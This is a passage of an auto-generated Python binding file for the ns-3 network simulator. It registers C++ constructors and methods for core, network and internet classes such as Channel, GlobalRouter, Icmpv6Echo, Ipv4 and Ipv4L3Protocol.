[param('ns3::Ptr< ns3::CallbackImplBase const >', 'other')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3CallbackValue_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackValue const &', 'arg0')])
## callback.h (module 'core'): ns3::CallbackValue::CallbackValue() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackBase const & base) [constructor]
cls.add_constructor([param('ns3::CallbackBase const &', 'base')])
## callback.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::CallbackValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## callback.h (module 'core'): bool ns3::CallbackValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## callback.h (module 'core'): std::string ns3::CallbackValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## callback.h (module 'core'): void ns3::CallbackValue::Set(ns3::CallbackBase base) [member function]
cls.add_method('Set',
'void',
[param('ns3::CallbackBase', 'base')])
return
def register_Ns3Channel_methods(root_module, cls):
## channel.h (module 'network'): ns3::Channel::Channel(ns3::Channel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Channel const &', 'arg0')])
## channel.h (module 'network'): ns3::Channel::Channel() [constructor]
cls.add_constructor([])
## channel.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Channel::GetDevice(uint32_t i) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## channel.h (module 'network'): uint32_t ns3::Channel::GetId() const [member function]
cls.add_method('GetId',
'uint32_t',
[],
is_const=True)
## channel.h (module 'network'): uint32_t ns3::Channel::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## channel.h (module 'network'): static ns3::TypeId ns3::Channel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3EmptyAttributeValue_methods(root_module, cls):
## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue(ns3::EmptyAttributeValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EmptyAttributeValue const &', 'arg0')])
## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EmptyAttributeValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, visibility='private', is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
visibility='private', is_virtual=True)
## attribute.h (module 'core'): std::string ns3::EmptyAttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, visibility='private', is_virtual=True)
return
def register_Ns3EventImpl_methods(root_module, cls):
## event-impl.h (module 'core'): ns3::EventImpl::EventImpl(ns3::EventImpl const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EventImpl const &', 'arg0')])
## event-impl.h (module 'core'): ns3::EventImpl::EventImpl() [constructor]
cls.add_constructor([])
## event-impl.h (module 'core'): void ns3::EventImpl::Cancel() [member function]
cls.add_method('Cancel',
'void',
[])
## event-impl.h (module 'core'): void ns3::EventImpl::Invoke() [member function]
cls.add_method('Invoke',
'void',
[])
## event-impl.h (module 'core'): bool ns3::EventImpl::IsCancelled() [member function]
cls.add_method('IsCancelled',
'bool',
[])
## event-impl.h (module 'core'): void ns3::EventImpl::Notify() [member function]
cls.add_method('Notify',
'void',
[],
is_pure_virtual=True, visibility='protected', is_virtual=True)
return
def register_Ns3GlobalRouter_methods(root_module, cls):
## global-router-interface.h (module 'internet'): static ns3::TypeId ns3::GlobalRouter::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## global-router-interface.h (module 'internet'): ns3::GlobalRouter::GlobalRouter() [constructor]
cls.add_constructor([])
## global-router-interface.h (module 'internet'): void ns3::GlobalRouter::SetRoutingProtocol(ns3::Ptr<ns3::Ipv4GlobalRouting> routing) [member function]
cls.add_method('SetRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv4GlobalRouting >', 'routing')])
## global-router-interface.h (module 'internet'): ns3::Ptr<ns3::Ipv4GlobalRouting> ns3::GlobalRouter::GetRoutingProtocol() [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv4GlobalRouting >',
[])
## global-router-interface.h (module 'internet'): ns3::Ipv4Address ns3::GlobalRouter::GetRouterId() const [member function]
cls.add_method('GetRouterId',
'ns3::Ipv4Address',
[],
is_const=True)
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRouter::DiscoverLSAs() [member function]
cls.add_method('DiscoverLSAs',
'uint32_t',
[])
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRouter::GetNumLSAs() const [member function]
cls.add_method('GetNumLSAs',
'uint32_t',
[],
is_const=True)
## global-router-interface.h (module 'internet'): bool ns3::GlobalRouter::GetLSA(uint32_t n, ns3::GlobalRoutingLSA & lsa) const [member function]
cls.add_method('GetLSA',
'bool',
[param('uint32_t', 'n'), param('ns3::GlobalRoutingLSA &', 'lsa')],
is_const=True)
## global-router-interface.h (module 'internet'): void ns3::GlobalRouter::InjectRoute(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask) [member function]
cls.add_method('InjectRoute',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask')])
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRouter::GetNInjectedRoutes() [member function]
cls.add_method('GetNInjectedRoutes',
'uint32_t',
[])
## global-router-interface.h (module 'internet'): ns3::Ipv4RoutingTableEntry * ns3::GlobalRouter::GetInjectedRoute(uint32_t i) [member function]
cls.add_method('GetInjectedRoute',
retval('ns3::Ipv4RoutingTableEntry *', caller_owns_return=False),
[param('uint32_t', 'i')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRouter::RemoveInjectedRoute(uint32_t i) [member function]
cls.add_method('RemoveInjectedRoute',
'void',
[param('uint32_t', 'i')])
## global-router-interface.h (module 'internet'): bool ns3::GlobalRouter::WithdrawRoute(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask) [member function]
cls.add_method('WithdrawRoute',
'bool',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRouter::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3Icmpv6DestinationUnreachable_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6DestinationUnreachable::Icmpv6DestinationUnreachable(ns3::Icmpv6DestinationUnreachable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6DestinationUnreachable const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6DestinationUnreachable::Icmpv6DestinationUnreachable() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6DestinationUnreachable::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6DestinationUnreachable::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6DestinationUnreachable::GetPacket() const [member function]
cls.add_method('GetPacket',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6DestinationUnreachable::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6DestinationUnreachable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6DestinationUnreachable::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6DestinationUnreachable::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6DestinationUnreachable::SetPacket(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('SetPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p')])
return
def register_Ns3Icmpv6Echo_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Echo::Icmpv6Echo(ns3::Icmpv6Echo const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6Echo const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Echo::Icmpv6Echo() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Echo::Icmpv6Echo(bool request) [constructor]
cls.add_constructor([param('bool', 'request')])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Echo::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): uint16_t ns3::Icmpv6Echo::GetId() const [member function]
cls.add_method('GetId',
'uint16_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6Echo::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint16_t ns3::Icmpv6Echo::GetSeq() const [member function]
cls.add_method('GetSeq',
'uint16_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Echo::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6Echo::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Echo::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Echo::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Echo::SetId(uint16_t id) [member function]
cls.add_method('SetId',
'void',
[param('uint16_t', 'id')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Echo::SetSeq(uint16_t seq) [member function]
cls.add_method('SetSeq',
'void',
[param('uint16_t', 'seq')])
return
def register_Ns3Ipv4_methods(root_module, cls):
## ipv4.h (module 'internet'): ns3::Ipv4::Ipv4(ns3::Ipv4 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4 const &', 'arg0')])
## ipv4.h (module 'internet'): ns3::Ipv4::Ipv4() [constructor]
cls.add_constructor([])
## ipv4.h (module 'internet'): bool ns3::Ipv4::AddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('AddAddress',
'bool',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): uint32_t ns3::Ipv4::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('AddInterface',
'uint32_t',
[param('ns3::Ptr< ns3::NetDevice >', 'device')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): ns3::Ipv4InterfaceAddress ns3::Ipv4::GetAddress(uint32_t interface, uint32_t addressIndex) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv4InterfaceAddress',
[param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): int32_t ns3::Ipv4::GetInterfaceForAddress(ns3::Ipv4Address address) const [member function]
cls.add_method('GetInterfaceForAddress',
'int32_t',
[param('ns3::Ipv4Address', 'address')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): int32_t ns3::Ipv4::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function]
cls.add_method('GetInterfaceForDevice',
'int32_t',
[param('ns3::Ptr< ns3::NetDevice const >', 'device')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): int32_t ns3::Ipv4::GetInterfaceForPrefix(ns3::Ipv4Address address, ns3::Ipv4Mask mask) const [member function]
cls.add_method('GetInterfaceForPrefix',
'int32_t',
[param('ns3::Ipv4Address', 'address'), param('ns3::Ipv4Mask', 'mask')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): uint16_t ns3::Ipv4::GetMetric(uint32_t interface) const [member function]
cls.add_method('GetMetric',
'uint16_t',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): uint16_t ns3::Ipv4::GetMtu(uint32_t interface) const [member function]
cls.add_method('GetMtu',
'uint16_t',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): uint32_t ns3::Ipv4::GetNAddresses(uint32_t interface) const [member function]
cls.add_method('GetNAddresses',
'uint32_t',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): uint32_t ns3::Ipv4::GetNInterfaces() const [member function]
cls.add_method('GetNInterfaces',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4::GetNetDevice(uint32_t interface) [member function]
cls.add_method('GetNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4::GetRoutingProtocol() const [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): static ns3::TypeId ns3::Ipv4::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::Insert(ns3::Ptr<ns3::Ipv4L4Protocol> protocol) [member function]
cls.add_method('Insert',
'void',
[param('ns3::Ptr< ns3::Ipv4L4Protocol >', 'protocol')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): bool ns3::Ipv4::IsDestinationAddress(ns3::Ipv4Address address, uint32_t iif) const [member function]
cls.add_method('IsDestinationAddress',
'bool',
[param('ns3::Ipv4Address', 'address'), param('uint32_t', 'iif')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): bool ns3::Ipv4::IsForwarding(uint32_t interface) const [member function]
cls.add_method('IsForwarding',
'bool',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): bool ns3::Ipv4::IsUp(uint32_t interface) const [member function]
cls.add_method('IsUp',
'bool',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4.h (module 'internet'): bool ns3::Ipv4::RemoveAddress(uint32_t interface, uint32_t addressIndex) [member function]
cls.add_method('RemoveAddress',
'bool',
[param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4::SelectSourceAddress(ns3::Ptr<const ns3::NetDevice> device, ns3::Ipv4Address dst, ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e scope) [member function]
cls.add_method('SelectSourceAddress',
'ns3::Ipv4Address',
[param('ns3::Ptr< ns3::NetDevice const >', 'device'), param('ns3::Ipv4Address', 'dst'), param('ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', 'scope')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address source, ns3::Ipv4Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv4Route> route) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetDown(uint32_t interface) [member function]
cls.add_method('SetDown',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetForwarding(uint32_t interface, bool val) [member function]
cls.add_method('SetForwarding',
'void',
[param('uint32_t', 'interface'), param('bool', 'val')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetMetric(uint32_t interface, uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint32_t', 'interface'), param('uint16_t', 'metric')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetRoutingProtocol(ns3::Ptr<ns3::Ipv4RoutingProtocol> routingProtocol) [member function]
cls.add_method('SetRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv4RoutingProtocol >', 'routingProtocol')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetUp(uint32_t interface) [member function]
cls.add_method('SetUp',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv4.h (module 'internet'): ns3::Ipv4::IF_ANY [variable]
cls.add_static_attribute('IF_ANY', 'uint32_t const', is_const=True)
## ipv4.h (module 'internet'): bool ns3::Ipv4::GetIpForward() const [member function]
cls.add_method('GetIpForward',
'bool',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## ipv4.h (module 'internet'): bool ns3::Ipv4::GetWeakEsModel() const [member function]
cls.add_method('GetWeakEsModel',
'bool',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetIpForward(bool forward) [member function]
cls.add_method('SetIpForward',
'void',
[param('bool', 'forward')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## ipv4.h (module 'internet'): void ns3::Ipv4::SetWeakEsModel(bool model) [member function]
cls.add_method('SetWeakEsModel',
'void',
[param('bool', 'model')],
is_pure_virtual=True, visibility='private', is_virtual=True)
return
def register_Ns3Ipv4AddressChecker_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker(ns3::Ipv4AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4AddressChecker const &', 'arg0')])
return
def register_Ns3Ipv4AddressValue_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4AddressValue const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4Address const & value) [constructor]
cls.add_constructor([param('ns3::Ipv4Address const &', 'value')])
## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-address.h (module 'network'): std::string ns3::Ipv4AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4AddressValue::Set(ns3::Ipv4Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv4Address const &', 'value')])
return
def register_Ns3Ipv4Interface_methods(root_module, cls):
## ipv4-interface.h (module 'internet'): ns3::Ipv4Interface::Ipv4Interface(ns3::Ipv4Interface const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Interface const &', 'arg0')])
## ipv4-interface.h (module 'internet'): ns3::Ipv4Interface::Ipv4Interface() [constructor]
cls.add_constructor([])
## ipv4-interface.h (module 'internet'): bool ns3::Ipv4Interface::AddAddress(ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('AddAddress',
'bool',
[param('ns3::Ipv4InterfaceAddress', 'address')])
## ipv4-interface.h (module 'internet'): ns3::Ipv4InterfaceAddress ns3::Ipv4Interface::GetAddress(uint32_t index) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv4InterfaceAddress',
[param('uint32_t', 'index')],
is_const=True)
## ipv4-interface.h (module 'internet'): ns3::Ptr<ns3::ArpCache> ns3::Ipv4Interface::GetArpCache() const [member function]
cls.add_method('GetArpCache',
'ns3::Ptr< ns3::ArpCache >',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4Interface::GetDevice() const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): uint16_t ns3::Ipv4Interface::GetMetric() const [member function]
cls.add_method('GetMetric',
'uint16_t',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): uint32_t ns3::Ipv4Interface::GetNAddresses() const [member function]
cls.add_method('GetNAddresses',
'uint32_t',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): static ns3::TypeId ns3::Ipv4Interface::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-interface.h (module 'internet'): bool ns3::Ipv4Interface::IsDown() const [member function]
cls.add_method('IsDown',
'bool',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): bool ns3::Ipv4Interface::IsForwarding() const [member function]
cls.add_method('IsForwarding',
'bool',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): bool ns3::Ipv4Interface::IsUp() const [member function]
cls.add_method('IsUp',
'bool',
[],
is_const=True)
## ipv4-interface.h (module 'internet'): ns3::Ipv4InterfaceAddress ns3::Ipv4Interface::RemoveAddress(uint32_t index) [member function]
cls.add_method('RemoveAddress',
'ns3::Ipv4InterfaceAddress',
[param('uint32_t', 'index')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::Send(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Address dest) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Address', 'dest')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetArpCache(ns3::Ptr<ns3::ArpCache> arg0) [member function]
cls.add_method('SetArpCache',
'void',
[param('ns3::Ptr< ns3::ArpCache >', 'arg0')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetDevice(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('SetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetDown() [member function]
cls.add_method('SetDown',
'void',
[])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetForwarding(bool val) [member function]
cls.add_method('SetForwarding',
'void',
[param('bool', 'val')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetMetric(uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint16_t', 'metric')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::SetUp() [member function]
cls.add_method('SetUp',
'void',
[])
## ipv4-interface.h (module 'internet'): void ns3::Ipv4Interface::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Ipv4L3Protocol_methods(root_module, cls):
## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::Ipv4L3Protocol() [constructor]
cls.add_constructor([])
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::AddAddress(uint32_t i, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('AddAddress',
'bool',
[param('uint32_t', 'i'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv4L3Protocol::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('AddInterface',
'uint32_t',
[param('ns3::Ptr< ns3::NetDevice >', 'device')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::Ipv4L3Protocol::CreateRawSocket() [member function]
cls.add_method('CreateRawSocket',
'ns3::Ptr< ns3::Socket >',
[])
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::DeleteRawSocket(ns3::Ptr<ns3::Socket> socket) [member function]
cls.add_method('DeleteRawSocket',
'void',
[param('ns3::Ptr< ns3::Socket >', 'socket')])
## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4InterfaceAddress ns3::Ipv4L3Protocol::GetAddress(uint32_t interfaceIndex, uint32_t addressIndex) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv4InterfaceAddress',
[param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4Interface> ns3::Ipv4L3Protocol::GetInterface(uint32_t i) const [member function]
cls.add_method('GetInterface',
'ns3::Ptr< ns3::Ipv4Interface >',
[param('uint32_t', 'i')],
is_const=True)
## ipv4-l3-protocol.h (module 'internet'): int32_t ns3::Ipv4L3Protocol::GetInterfaceForAddress(ns3::Ipv4Address addr) const [member function]
cls.add_method('GetInterfaceForAddress',
'int32_t',
[param('ns3::Ipv4Address', 'addr')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): int32_t ns3::Ipv4L3Protocol::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function]
cls.add_method('GetInterfaceForDevice',
'int32_t',
[param('ns3::Ptr< ns3::NetDevice const >', 'device')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): int32_t ns3::Ipv4L3Protocol::GetInterfaceForPrefix(ns3::Ipv4Address addr, ns3::Ipv4Mask mask) const [member function]
cls.add_method('GetInterfaceForPrefix',
'int32_t',
[param('ns3::Ipv4Address', 'addr'), param('ns3::Ipv4Mask', 'mask')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv4L3Protocol::GetMetric(uint32_t i) const [member function]
cls.add_method('GetMetric',
'uint16_t',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv4L3Protocol::GetMtu(uint32_t i) const [member function]
cls.add_method('GetMtu',
'uint16_t',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
